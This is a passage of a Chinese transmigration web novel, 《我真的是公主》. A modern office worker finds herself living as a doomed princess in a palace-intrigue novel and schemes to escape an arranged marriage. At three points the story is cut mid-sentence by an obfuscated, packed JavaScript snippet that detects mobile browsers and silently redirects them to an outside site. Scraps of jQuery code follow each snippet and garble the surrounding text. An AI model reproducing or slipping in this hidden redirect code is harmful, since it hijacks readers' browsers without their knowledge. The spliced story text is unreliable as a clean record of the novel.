《我真的是公主》
1. 梦醒
崔玉凝起了一身冷汗,从梦中挣扎着醒来。
睁开眼,入目是一张疲惫的美人脸。
这是她的阿娘,也是大晏朝的贵妃。
“凝儿,你醒了。”章贵妃看到崔玉凝睁开眼睛,声音都止不住地颤抖,“琅珠,叫宋太医进来。”
“是。”一个宫女得了令利落转身出门。
崔玉凝回过神,她唇瓣微颤,溢出一声沙哑的气若游丝的:“阿娘。”
章贵妃的视线一刻也没有移开过,听到这里立刻心疼地回应道:“凝儿,阿娘在阿娘在。”
崔玉凝松了口气,绷着的弦一松,又闭上了眼。
她还活着,她没有跳楼。
-
约莫半个多月前,崔玉凝发现自己穿越了。
她不知道自己是怎么穿过来的,只记得她一觉睡醒就有一个身穿汉服的漂亮妹妹站在她面前,身后是更多穿着同样款式衣服的漂亮妹妹排排站。
在她醒后,几个妹妹直接上手给她洗漱穿衣化妆。
等她被一群人毕恭毕敬送到餐桌前的时候还在怀疑这是不是楚门世界,久久不能平复。
刚刚叫她起床的漂亮妹妹又拿着一张纸在她耳边念叨:“公主,您半个月前与章小姐约了今日巳时在公主府见面,三日前与太子约定去樊楼吃饭,未时……”
总之,那一刻她确定自己穿越了,还穿成了一个跟自己同名同姓的真公主,有钱有颜,仆从万千,呼风唤雨,彻底跟自己卑微的社畜人生说拜拜了。
可是当公主真的很忙!这么多天她一次懒觉都没有睡过,每一天都在兢兢业业赴小公主早前定下的约会,还有数不清的宴会。
直到昨天,她跟大家一起游湖不小心落水了。
她以为这是老天爷准备收回她的幸福生活,非常顺从地闭上眼睛。
还在心里告诉自己,就当是黄粱一梦,享受过就好,毕竟公主也很辛苦的。
感受着自己身体不停下坠,突然,一股强大的力量把她从下往上捞起。
然后……然后她就做了一个很漫长的梦,醒来就见到小公主的母妃了。
梦里她还在给客户改合同,电话一直响个不停,但无论如何她都摸不到手机。
正欲砸电脑之际,她站在了一座古色古香的城墙上。
风很大,吹起她身上厚重的宫装,身体不受控制地朝着城墙边缘走去。
向前一步。
倾身而下。
坠落的瞬间,崔玉凝终于夺回身体的掌控权。
她睁开眼,对上了一双冰冷的眸子正居高临下地看她。
下一秒,她看到了一本曾经看过的宅斗文。
她对这本书印象深刻,男主出场前的部分都环环相扣,特别好看。
只是她并没有看完这本书,因为男主一出场就是崔玉凝殉国,一个跟自己同名同姓的角色死得如此凄惨,实在瘆得慌,后来她就没看了。
梦里,死亡的感觉是如此真实,就好像……跳楼的人不是小公主,而是她崔玉凝。
所以,不是老天开眼给她富贵人生让她享福,而是穿书让她以身殉国!
-
“凝儿,怎么了?阿娘在,不怕不怕。”章贵妃把崔玉凝抱起来在怀里,像哄小孩一样哄着她。
“娘娘,宋太医来了。”琅珠带着宋太医候在屏风后面。
章贵妃顿了顿,声线里带了几分威严:“进来吧。”
“是。”一个苍老的男声应答。
太医躬身入内,三指搭脉,凝神静诊,收指后沉吟片刻:“公主身体强健,未染风寒。只是…受了惊吓,需静养几日,臣开一剂药方,煎服三日即可。”
“劳烦宋太医费心了,既如此,便按太医的方子来。”章贵妃挥了挥手,吩咐道:“璎珞,跟宋太医去取药吧。”
“是。”站在另一侧的宫女应声答道。
“阿娘,”贵妃娘娘凤仪万千,可现在眼下的青黑已经遮不住了。
穿越过来的这半个多月里,还是崔玉凝第一次见章贵妃露出疲态。
“怎么样,还难受吗?”章贵妃声音依旧温柔地像能滴出水来。
见崔玉凝没回话,只是盯着自己看,章贵妃怪嗔,“你这孩子看什么呢。这次你落水是你裴则哥哥救了你,你父皇估计过两日就要给你们赐婚呢。”
裴则?赐婚?
“不,不要。”崔玉凝下意识出声拒绝。
“怎么了?”章贵妃看到崔玉凝脸色突然不好,也紧张起来,“你不是最喜欢裴则了吗,怎么突然不要了。”
“是不是他对你做了什么?”章贵妃见崔玉凝不说话就开始着急,甚至开始胡乱猜测,“昨日是他推你下水的?”
听到这话崔玉凝摇摇头,直接学着原主的样子抱上贵妃的腰,扑到贵妃怀里,嚎啕大哭起来。
哭着哭着就从假哭变成真哭,她真的好难过,她已经半个多月没有好好休息了。
原本她打算干完这半个月就享受一下骄纵的公主人生,结果突然一下子就告诉她其实她只是一个马上就要家破人亡的炮灰女配。
现在还要嫁给裴则,跟女主抢男人,这不就是必死无疑?
“好好好,不喜欢裴则了,那凝儿就不嫁了。”章贵妃一下一下轻轻拍着崔玉凝的背,哄着她,“一会儿就去跟父皇说,我们凝儿不喜欢裴则了。”
听到章贵妃哄小孩的话,崔玉凝也渐渐冷静下来了,哭得一抽一抽的:“我不要嫁给裴则,他一点都不好。”
章贵妃听了这话也觉得新奇,崔玉凝从小就喜欢裴则,一有空就缠着裴则。
裴则是裴太傅家的孙子,也是太子伴读,更是大晏最年轻的探花郎,面如冠玉,京城里喜欢他的小女娘可以从城北排到城南。
只是从小他就被崔玉凝独家冠名。
当年小小的公主在太后寿宴上第一次见到太子哥哥身边的裴则面如莹玉、眉眼含星,像小仙童一样,直接拉着太子的手,傲着小脸指着裴则说:“阿兄,我要他做我的驸马!”
“好好,他一点都不好,我们凝儿不嫁了,我们凝儿要嫁就要嫁给天底下最好的人。”章贵妃顺着崔玉凝的话继续哄道。
“什么天底下最好的人啊?”是皇后的声音。
外间的宫女给皇后行礼的声音响起,章贵妃见皇后进来,也拿了个软枕让崔玉凝靠上去。
福了福身:“臣妾见过皇后娘娘。”
皇后见状抬了抬手:“无需多礼,本宫来看看凝儿如何了。”
说着,皇后就坐到了崔玉凝的床边,崔玉凝急忙起身想要行礼,被皇后按住了:“凝儿怎么哭了,身体还没大好,要多多休息才是。”
“母后……”崔玉凝刚想开口,就被皇后打断了。
“凝儿,母后给你带来一个好消息,”皇后眼角眉梢都染上了喜色,“方才太子从含元殿出来,他说你父皇已经同意裴家求娶你了。”
闻言崔玉凝彻底笑不出来了。
还是贵妃出声替她解释:“娘娘,凝儿方才还和臣妾说不喜欢那裴家三郎了。”
听了这个解释,皇后也没生气,而是轻声细语地问崔玉凝:“凝儿怎么又不喜欢裴家三郎了?是真心话还是赌气?”
不怪皇后这么问,实在是崔玉凝太喜欢裴则了。
“母后,凝儿是真心话。”崔玉凝刚刚趴在贵妃怀里号啕大哭,眼泪还没收回去,眼睛还红红的。
可怜模样让皇后看了心疼坏了,也顺着她的话哄着她:“好,你父皇还没下旨,一会儿去找你父皇说清楚。”
听到皇后的许诺,崔玉凝哭着点点头。心里想的却是按照小公主的受宠程度,只要她不想嫁应该就没人会逼她嫁。
……
“琅珠,琅珠,我的纸笔在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211488|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪儿?”待贵妃和皇后离开后,崔玉凝立刻下床找了纸笔想把自己刚刚做的梦写下来。
琅珠是她的管事宫女,自她穿越过来后人生地不熟,几乎快要患上琅珠依赖症。
拿到纸笔后,崔玉凝重新爬回床上。
刚刚为了方便喝药,床上摆了张矮桌,这会儿刚好用来写字,还不用被人看见。
如果说,崔玉凝嫁给裴则是死亡最根本的原因,那么还有作者写在表面的原因。
可是表面原因……她不知道啊。
这是一篇宅斗文,前面一大半都在写女主宅斗。
崔玉凝这个名字一出场就是男主看她跳楼,凸显男主骨子里的冷静自持,以及对原配的薄情寡义。
写着写着她突然就觉得没必要把梦记下来了,她好像真的不够聪明,掌握的信息也太有限了。
现在唯一能做的就是趁皇帝还没赐婚先找个新驸马,只要生米煮成熟饭,裴则就没机会娶她。
至于新驸马嘛……到时候随便找个由头和离,她就彻底自由啦!
总之,只要不跳楼,她就可以享受有钱有颜吃喝不愁的人生了。
-
另一边,皇后跟贵妃携手出了门。
“凝儿这怎么突然就不喜欢裴三郎了?”皇后皱起眉,显然觉得这事儿有点麻烦。
章贵妃叹了口气:“我也不清楚,方才凝儿好似做了噩梦,出了一身冷汗,醒来就抱着我说不要嫁给裴三郎了。”
“偏偏裴家刚走,要是早一点就好了……”皇后只可惜崔玉凝说得太晚,现在退亲势必会得罪裴家,到时候影响裴家和太子的关系就得不偿失了。
章贵妃也觉得可惜,裴则是个不错的夫婿人选,好不容易等到裴家求娶,凝儿却不喜欢裴则了。她心中也十分感谢皇后对崔玉凝任性的宠爱:“辛苦明岚姐姐跟我一起找陛下了。”
虽然民间话本总编写水火不容的贵妃与皇后,但在大晏后宫里两位的关系很不错,还未嫁人的时候就是闺中密友,是无话不谈的手帕交。
当时一同嫁进烈王府的确多有龃龉,也有两年不曾来往。
可后来先帝病重,夺嫡之争府上水面,最凶险的时候安王围了烈王府,一围就是半个月,进出不得。
那时候章铮瑜怀胎八月,北疆噩耗传回,她惊悸之下,甚至有流产先兆,是当时的烈王妃秦明岚亲自带着小世子照顾她才安稳等到生产。
崔玉凝是在烈王登基那天出生的,天承帝运,地诞公主,皇帝直接封崔玉凝为晏宁公主。
与大晏同名,代表了无上荣光。
那天也是皇后和小太子陪在两人身边。
换句话说,比起皇帝,他们四个更像一家人。
……
皇后和贵妃一同来到含元殿,殿门口当值的福顺公公见二人同来,连忙躬身请安:“奴才给皇后娘娘、贵妃娘娘请安。”
“起来吧,”皇后淡淡抬手,随口问道,“皇上此刻在殿内?可还得空?”
话音刚落,德海公公已从殿中快步迎出,侧身引道:“皇后娘娘、贵妃娘娘,皇上正等着二位呢,快随奴才进来。”
两人一同步入含元殿,屏退殿内众人。
这一幕落在殿外旁人眼里倒像是皇后贵妃携手给皇帝施压。
入殿后,二人齐齐屈膝行礼:“臣妾参见陛下。”
皇帝正埋首批阅案头堆积的奏折,闻声头也未抬,随口问道:“你二人一起来这里做什么?凝儿的事派个宫人来告诉朕就是了。”
太子一向沉稳省心,只有凝儿这个不省心的小孩天天跟她嫡母亲娘撒娇。
两人对视一眼,皇后斟酌着开口:“皇上,不知那裴家三郎求娶凝儿的婚事……”
“你们得到消息了?这事朕已经准了,裴家刚刚才从含元殿离开。”皇帝闻言稍抬眼,语气平淡,“凝儿知道高兴坏了吧?”
2. 驸马
“高兴什么呀。”贵妃向来心直口快,“凝儿说她不想嫁给裴则了。”
“胡闹!”皇帝终于舍得放下手中的笔,“之前不是她天天追着裴则?昨日又发生那样的事,裴家求娶不正合了她的心意。怎么说不喜欢就能不嫁了,朕金口玉言岂能反悔?”
昨日裴则救人是事实,大晏民风开放,本不必因此缔结婚约。只是两人自幼相识,裴家既主动求娶,皇帝也乐得成全。
见皇帝只是雷声大却没有真的生气,章贵妃便把崔玉凝醒来后的反应还有说过的话都复述了一遍。
皇后也顺势放缓语调:“陛下只是答应裴家求娶一事,可毕竟圣旨未下……您素来念着父女情分,若强逼她嫁入不心仪的人家,往后她在裴家过得不快活,岂不是让您心疼?”
皇帝被二人一唱一和架了起来,皇后给了台阶就立刻顺势而下:“既然如此那就等凝儿病好了亲自来跟朕解释。”
-
章贵妃带回的消息让崔玉凝悬着的心落了大半。
只要不跟裴则成亲就好了,至于理由什么的,最差撒撒娇也能混过去。
在宫里被章贵妃和皇后娘娘投喂好几天,感觉脸都大了一圈,崔玉凝终于挑了个大晴天准备回公主府。
不过在回公主府之前,她要先去跟父皇道别,顺便解释不想嫁给裴则的原因。
崔玉凝打了一路腹稿,到含元殿的时候德海公公已经在门外等着了,见到她就笑盈盈地说:“晏宁公主,陛下都等您好久了,快跟老奴进来吧。”
“父皇~”跟着德海进门以后她先声夺人,试图用撒娇盖过皇帝的问责。
皇帝果然受用,笑着冲她招手把她叫到身边:“身子可大好了?”
“父皇不用担心,凝儿身体已经大好!”皇帝的关心和宠爱一点都不值钱,她生病这么多天可没见皇帝来看过她,倒是宠幸了好几个妃嫔。
看来皇帝也没有小公主记忆里这么疼爱她嘛。
崔玉凝跟皇帝假模假式地周旋了几个来回,从天气问到膳食,马屁拍得滴水不漏,见时机差不多,便想溜之大吉。
见她要走,皇帝轻咳一声:“凝儿是不是还有什么事忘记跟父皇解释了。”
崔玉凝脚步一顿,正想搪塞过去,殿外恰巧传来德海公公的通传:“太子殿下求见。”
崔玉凝神色一喜:“父皇,阿兄来了,他肯定有要事找您相商,凝儿就先告退啦!”
皇帝不满道:“说完再走。”
被一而再再而三地拦住,崔玉凝也不好再说要走了。
可太子进来后她才发现竟然还有一人也跟着来了,当着当事人的面说为什么不喜欢他,这不是强人所难嘛。
她在案几下悄悄扯了扯皇帝的衣袖,眼含恳求,暗示皇帝不要让她现在说。可皇帝偏偏就装作没看到:“祁儿来了,刚好也来听听你妹妹说为什么不喜欢聿修。”
说完还假装刚看到裴则的样子:“聿修也在了?这倒是……有些不巧了。”
崔玉凝站在皇帝旁边简直要气炸了,谁说皇帝对小公主很好的,简直就是诈骗啊!
裴则早就看到了站在皇上身边的人小动作不停,方才在殿外就隐约听见她娇声软语地哄陛下开心,简直比德海还要狗腿,现在这会儿又脸红到不行。
只是,什么叫不喜欢聿修……?
所以皇上迟迟不下赐婚圣旨是因为崔玉凝不喜欢裴聿修?
她眸光微动,抬起头深深地看了崔玉凝一眼。
崔璟祁原本是来回禀北疆军务的,见父皇心思全在妹妹身上,只得暂候一旁。
他早知崔玉凝要退婚一事,前几日母后就派人给他传话,让他从中斡旋一番,勿使裴则难堪。
虽不知妹妹为何忽然改了主意,但他私心以为这是好事。裴聿修样貌学识都为上乘不假,可一直对妹妹冷心冷眼,这样的人绝非良配。
至少,不能让妹妹重蹈覆辙。
“父皇,儿臣认为凝儿她……”
见太子马上就要开始长篇大论为自己辩解,崔玉凝直接打断他:“父皇!儿臣跟阿兄先走了!”
她拽着不明所以的太子就往外走。
她知道太子一心为了她好,也比她聪明多了,可崔璟祁是他们全家第一个死的,所以更不能让他瞎说话得罪男主了。
这两天被贵妃按在床上休息,崔玉凝趁机把小说情节都回忆了一边,从顾家后宅拼凑出一点他们崔家人的命运。
虽然小说前期一直在宅斗,可是再怎么闭门不出,后宅总会被前朝影响,太子之死就是女主姐姐婚事问题的导火索。
至于皇帝……崔玉凝偷偷回头瞥了一眼气定神闲的皇帝。
得罪谁不好直接得罪男主,宠爱公主也是假的,活该他家破人亡还被灭国!
……
出了含元殿,兄妹二人一同往宫外走去。
一路上崔璟祁都在赞美她,作为一个每天都客户摧残的社畜,崔玉凝哪里听过这么多好话,感觉两颊都烫烫的。
突然太子话锋一转:“对了,裴太傅托我问你什么时候回来读书。”
裴太傅是太子太傅,只给太子上课,但崔家小公主为了日日都见到裴三郎,央求着皇上给了恩典,让她也能旁听裴太傅的课。
只不过两年前裴则中了探花,在翰林院任职,连太子也忙于政务,小公主求的恩典彻底变成裴太傅对她一对一教学。
回忆到这里,崔玉凝顿觉一阵头疼。一对一,名师辅导……怪不得小公主三天打鱼两天晒网,每天安排这么多行程出去约会。
“我……能不学了吗?”她停下脚步,仰头看向太子,眼中尽是希冀。
她已经读了这么多年书,一直被考试折磨,最后甚至死于工作。
现在她可是公主!
还是马上就要殉国的炮灰公主,难道不应该享受一下公主的幸福生活吗?
崔璟祁对她的反应毫不意外。他知道自己的妹妹被母后和章贵妃惯坏了,做什么事都三分钟热度,读书那么苦,让她一个人面对裴太傅肯定是不肯的。
“此事我做不了主。过两日,你同我一道去裴府,亲自向太傅说明。”
他故意板起脸,却只换来妹妹一声拖长调的“哦——”,显然没往心里去。
看着她欢快地跑回马车上,崔璟祁无奈摇了摇头。
崔玉凝上了马车后捂着胸口深深喘了一口气,她当然听进去了,她当然知道要尊师重道,可她不想见裴则啊。
更何况马上就要退婚了,她不能去裴家。
“公主这是怎么了?”琅珠给崔玉凝倒了杯茶。
崔玉凝喝了口水,冷静吩咐道:“没事了,我们回去吧。”
马车行进不过片刻,琅珠就告诉崔玉凝到公主府了,她甚至觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211489|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这点路程还不如刚刚她从含元殿走到宫门口远。
她拍了拍身上不存在的灰尘,跳下车。
公主府——
她崔玉凝终于回来了!
这一次,她要夺回失去的一切!
落水前她每天兢兢业业赴约都没有好好享受公主府,一想到自己马上死了就彻底享受不到,崔玉凝简直肉疼。
不过当务之急是找个新驸马,畅游公主府的事还得再等等。
“琅珠,你去给章舒窈下帖子,邀请她明日来公主府!”崔玉凝叹了口气,小公主脑子里除了裴则就没有其他人了,必须找人想想办法。
-
又是一个艳阳高照的大晴天。
崔玉凝和章舒窈两个人却屏退一众下人,躲在房里。
“什么?你不嫁给表哥了?”章舒窈听完,柳眉立刻拧起,满脸不赞同。
崔玉凝心里“咯噔”一声,她彻底忘了这茬。
裴则是章舒窈的亲表哥,而且她最崇拜这个表哥了。
为了挽留表姐,她大脑飞速转动:“不是的不是的,我这都是……是为了你表哥着想。你表哥要是尚公主就只能去鸿胪寺任职了,他的大好前途……”说着还装模作样掉了两滴眼泪。
哭这两下章舒窈是一点没信:“行了行了,别哭了,我帮你想想就是。”对表哥有好处的事她才不会拒绝。
崔玉凝点了一下头,睁着水汪汪的眼睛继续装可怜。
章舒窈双手捏了一把崔玉凝嫩生生的小脸,“我娘近来也在为我相看,倒是听她提过几家,风评尚可……”
章家是武将世家,章舒窈的父亲也就是她舅舅镇国公镇守北疆,她娘是大晏的贵妃,而她的舅母又是裴家女。
看过甄嬛传的都知道章家不能再进了,章舒窈的择偶标准跟她需要的人差不多,所以崔玉凝直接叫了她过来商量。
“我记得我娘说过尚书家的二公子还不错,”章舒窈认真想了想,掰着手指数,“还有刑部尚书、谢御史、礼部尚书、大理寺卿…这几家的公子都适龄未婚。”
崔玉凝听得一愣一愣的,干巴巴地问:“那表姐,我要去哪里找他们啊?”
章舒窈听的直皱眉,“什么找他们?公主府宴请的时候这些人你都见过了。”
……完全没有印象。原主的记忆里,似乎除了裴则,就没有别的男人了。
崔玉凝干笑两声,又凑过去撒娇:“表姐,我都不记得了~我现在应该去哪里找他们啊?”
章舒窈被她闹得没法,只得道:“他们多在国子监进学。下次旬假是九日后,届时你办个赏花宴或诗会,自然能见。”
“不成不成,”崔玉凝道,“九日太久了!”到时候依裴太傅的性格大家都招架不住。
她必须在这几日找到合适的驸马然后生米煮成熟饭!
“表姐!你陪我去国子监吧!”崔玉凝做出决定,舍不得面子套不着驸马。
章舒窈彻底气笑了,都开始叫她的封号,“晏宁公主,您忘了女子进不了国子监了吗?”
崔玉凝啊了一声,这她还真不知道,又小心翼翼地问:“我是公主也不可以吗?”
“不、行。”章舒窈一字一顿,斩钉截铁。
……
把章舒窈送回镇国公府后,崔玉凝直接叫车夫转道,直奔东宫而去。
她要去搬最管用的救兵。
3. 抓包
夕阳透过窗棂,洒在书房的地上桌上。
“胡闹。”听完崔玉凝的计划崔璟祁当即蹙起眉,放下手中的奏章,“等下次休沐办场诗会,让他们每个人到你面前展露才学便可,何必亲自去国子监?那不是女子该去的地方。”
崔玉凝来之前就猜到太子会拒绝,不过根据小公主对太子的印象,反而振振有词道:“阿兄,诗会上的每个人都精心准备过,哪里看得出来原本是什么人,你舍得自己妹妹不明不白嫁个像大姐夫一样的人吗?到时候,我天天以泪洗面,你就高兴了?”
书里提过,大驸马风流成性,女主庶妹就是众多莺莺燕燕中的一个。
她不确定现在剧情进展到哪一步,但太子应当是知晓的。
果然,崔璟祁闻言神色微变,压低声音:“慎言!什么大姐夫,小姑娘家家不许胡说。”
“我哪有胡说?”崔玉凝趁势追击,声音里刻意染上委屈的鼻音,“等我也嫁了那样的人,每天不好好侍奉公主,就知道在外面喝花酒,阿兄到时候可别心疼……”
“好了好了!让你去便是。”崔璟祁最怕她这副模样,她一哭,母后与贵妃便要来过问,最后少不得要他破财哄人。
说完,崔璟祁又补充道:“不过你不可招摇,叫琅珠她们给你找一件学子服,再由竹酒跟你一起。”
竹酒是崔璟祁身边的侍卫,熟悉的人见到竹酒就知道是太子的命令。有竹酒跟着,崔玉凝的安全能够得到保障。
“好!”崔玉凝痛快答应,心里想的却是到时候甩开竹酒问问几个人愿不愿意尚公主。
-
第二天一早。
崔玉凝换上琅珠她们几个连夜按她的尺寸修改的靛蓝色国子监襕衫,璎珞还给她用青色布巾给她束发,俨然一副清秀小书生的模样。
“殿下,可以出发了。”竹酒按照太子的吩咐提前在公主府等晏宁公主,他也换掉了身上显眼的东宫侍卫服,气质收敛。
这是崔玉凝第一次来国子监,幸好有竹酒在,一路上的侍卫都睁一只眼闭一只眼给他们放行。
国子监内古柏森森,书声朗朗。
崔玉凝带着竹酒,大摇大摆走在路上。
可惜她不仅不认识路,还不认识人,吓得竹酒一路阻拦:“殿下殿下,这是祭酒廨,太学在另一边。”
听了竹酒的话,崔玉凝不慌不忙从怀里掏出一张记着名单的纸,这是昨天送章舒窈回家前让她写下来的。
递给竹酒,眯着眼半威胁道:“按照这个单子找人,如果敢让皇兄知道,你就……死定了!”
竹酒接过名单,眼前一亮,这些人跟太子都毫无关系,而且基本都是毫无建树的家中次子。
崔玉凝将竹酒的反应尽收眼底,淡淡收回视线。
等了片刻才冷冷出声:“看完了吗?我们走吧。”
这会儿竹酒满脑子都是要把这个名单报告给太子殿下,“殿下,这边请。”
-
两人在讲堂外鬼鬼祟祟,里面学子济济,个个埋头苦读,哪里分得清谁是谁。
“公主,那个就是刑部尚书家的二公子。”竹酒蹲在崔玉凝身边小声地说。
崔玉凝小心翼翼地探出头,顺着竹酒指的方向看去,一下子没找到:“哪个啊?你说清楚一点!”
“就是那个……”竹酒也不知道怎么给公主说明,大家都穿着一样的学子服,还都低着头。
崔玉凝没听清竹酒的话,眯着眼望去,连脸都看不见。
“得罪了,殿下!”
竹酒听到脚步声,来不及多解释就直接揽住崔玉凝的腰,足下一点,轻盈跃上近旁一棵枝叶繁茂的大树。
枝叶茂密,堪堪遮住两人身影。
崔玉凝猝不及防,完全没想到竹酒会突然把她抱起来,捏在手里的纸被树枝一打就顺着风飘落到了地上。
脚步声恰在此时止于树下。
来人是裴则,他身着青色官袍,身形颀长,立如芝兰玉树。
饶是梦里那些清晰而深刻的殉国画面,崔玉凝也无法否认裴则就是超越现实男人的存在,怪不得小公主一眼就认定他做驸马。
比起崔玉凝还有心情欣赏裴大人的容貌,身边的竹酒此刻已是冷汗涔涔,目光死死锁住地上那张纸,生怕裴则看见了。
虽然裴大人不喜欢晏宁公主,可要是让裴大人知道太子帮他未婚妻找其他男人,也不知道太子会不会被迁怒。
竹酒眼见一直骨节分明的手向那张纸伸来,几乎要出声制止。
一旁的崔玉凝看着竹酒一会儿皱眉一会儿扼腕,觉得有趣,用气声问:“竹酒,你要不要来公主府当差?”
她身边没有身手这么好的侍卫,最得用的只有琅珠她们。竹酒这么壮,多练习练习,说不定跳楼的时候能接住她。
闻言,竹酒惶恐,脸都憋红了还在连连挥摆手,怕底下的裴大人听见又不敢说话。
崔玉凝觉得好笑,继续用气声说:“那就这么说定了,一会儿我去找皇兄。”
树下。
裴则捡起面前的纸,目光在纸上一扫。
忽而又听见藏在树上某人的声音。
他抬起了头,轻咳一声。
两人瞬间僵住。
随即,他极其自然地将那张纸折起,收进了自己的袖中。
然后,他便转身,沿着来路,步履从容地离开了。
树上崔玉凝还在问竹酒愿不愿意跳槽,被那一声轻咳吓了一跳,脚下一滑。
竹酒急忙扶住公主,带着公主重新落到地面。
“裴则怎么会到国子监来?”崔玉凝惊魂未定,又满心疑惑,“他不该在翰林院吗?”
裴则是翰林院编修,这个时间应当在翰林院。
竹酒忙躬身行礼,额头几乎要抵到胸口,他也不知道啊。
不过面对公主的威压,犹豫再三,还是开口:“属下不知。可能是…祭酒找裴大人吧。”裴大人方才那声轻咳,分明是察觉了树上有人。
“名单你看清了?”崔玉凝问。
竹酒点头。
“那……我们按计划继续?”崔玉凝试探。
竹酒把头摇得像拨浪鼓,态度坚决:“殿下,今日不宜再留。裴大人既已来过,难保不会引人注意。”
崔玉凝见他那副如临大敌的模样,也知今日事不可为,只得悻悻道:“罢了,回去吧。”
两个人从国子监离开,依旧是一路畅通,只是没有来时的好心情了。
国子监门口有一辆马车,上面挂着一个牌子,写了一个“裴”字
糟糕,被裴则抓包了。
裴则面色如霜,站在车旁。
她心下一沉,正想装作没看见、直接绕开,身后的竹酒却轻轻推了她一下,低声道:“殿下,裴大人在等。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211490|197419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>裴则盯着崔玉凝的脸,嘴里的话却是对竹酒说的:“竹酒,你先回去复命。我会送公主回府。”
竹酒如蒙大赦,躬身一礼,逃也似的快步离开了。他就知道裴大人一定听到了公主的话,现在要找公主算账呢,他要回去告诉太子殿下。
竹酒走后,只剩下裴则和她。
崔玉凝不是小公主,她不会面对裴则。
裴则沉吟片刻,终于开口:“刑部尚书之子夏青林,谢御史幼子谢泽,礼部尚书次子吴涛,大理寺卿之子钱江源……”
纸上的名字一个一个被裴则念出来,每念出一个名字崔玉凝的头就低了一分。
总觉得自己像被丈夫抓包的出轨的妻子。
等等!
她不是啊。
“我们没有成亲!”崔玉凝猛地抬起头,从裴则手里抽回那张纸,“本公主做什么要你管?!”
裴则手腕一翻,避开她的手,反而顺势握住了她的手腕。
看向崔玉凝的眼睛:“公主最好还是收起这些小心思。”
崔玉凝气笑了:“什么小心思,本公主听不懂裴大人在说什么呢。”
说完崔玉凝直接走向停在一旁的自家马车,独留裴则一人在原地。
打嘴仗最没意思了,裴则他敢说自己不想娶公主吗?
裴则站在原地看着公主车架离去,他总觉得小公主不一样了。
-
崔玉凝没有直接回公主府,而是去了东宫。
她是去讨要竹酒的!
“皇兄,您就把竹酒让给我嘛~”崔玉凝站在太子的书桌旁边,用尽全身力气嗓子都要夹冒烟了。
崔璟祁也觉得头疼,章家是武将世家,怎么会没有暗卫,还得问他要侍卫:“不行。”
崔玉凝轻飘飘地看了他一眼:“阿兄还说最疼爱凝儿了,连个侍卫都舍不得吗?”
崔璟祁咂舌,没想到妹妹没哭没闹还变成了这样,“不是舍不得,只是竹酒是阿兄的人,你不也有侍卫?”
“我的侍卫哪有竹酒那么厉害,还能飞。”崔玉凝拿起桌上的砚台,不让崔璟祁用。
崔璟祁眼看着崔玉凝把砚台端走,眼皮一跳,又不敢制止她,生怕她把墨泼到自己身上,“行行行,一会儿让竹酒带你去选人。”
说完又补充:“选个女子。”
崔璟祁一边说,一边把砚台从崔玉凝手里慢慢拿回来放在桌上。
手里空空的崔玉凝又伸手摸摸肚子,在外面一上午还没吃饭,“阿兄,我饿了,摆膳吧。”
见崔玉凝终于不揪着竹酒不放,崔璟祁也松了口气,“喜乐,摆膳。”
-
东宫小膳堂,兄妹俩分坐主案两侧。
“殿下,裴大人来了。”喜乐进来通传。
崔璟祁眼底闪过一丝了然,立刻道:“快请聿修进来一同用膳。”
裴则很快入内,自然地在崔玉凝身侧的席位落座。
崔玉凝饿坏了,埋头吃得认真。崔璟祁见状笑问:“凝儿这是没用早膳?”
一旁,裴则夹菜的手微微一顿,语气平淡地接了一句:“公主一早上上蹿下跳可不是饿坏了。”
崔玉凝咀嚼的动作停了一瞬,随即装作没听见,继续专心用膳,甚至有种破罐破摔的意味。
反而是崔璟祁意识到了不对劲,他不动神色地在两人脸上来回逡巡,随即了然一笑。
4. 顾家
“高岭之花”不食人间烟火,东宫的午膳只有崔玉凝一人独享。
崔玉凝吃着碗里的,心里还想着要把东宫的厨子给挖走,这比公主府的饭好吃多了。
她这么想着,也直接这么说:“阿兄,可以把东宫的厨子送给我吗?”
沉默片刻,崔璟祁说:“过几日就是岁岁的周岁宴了。”
岁岁是大公主的女儿。
崔玉凝不耻上问:“那我要准备什么您才能把东宫的厨子送给我?”
崔璟祁不理:“孤要代表父皇母后出席。”
崔玉凝继续讨要:“那我日日都要来东宫用膳。”
崔璟祁无奈:“喜乐,把今日做午膳的厨子叫来让晏宁公主过目。”
往日崔玉凝脸皮极薄,这样当面讨要的事是万万做不出来的。
死亡壮人胆,一想到即将为了崔家赴死,就不再忍心亏待自己了。
一旁裴则悠然呷了一口茶,看着兄妹俩讨价还价,心中若有所思。
……
用完午食,崔玉凝跟着喜乐公公去挑选一位身强力壮的侍卫。
提前通知了晏宁公主要选人,无论是侍卫还是暗卫都早早等在书房外面了。
喜乐用他那尖细的声音在崔玉凝耳边说:“公主殿下,这些就是东宫的侍卫了。”
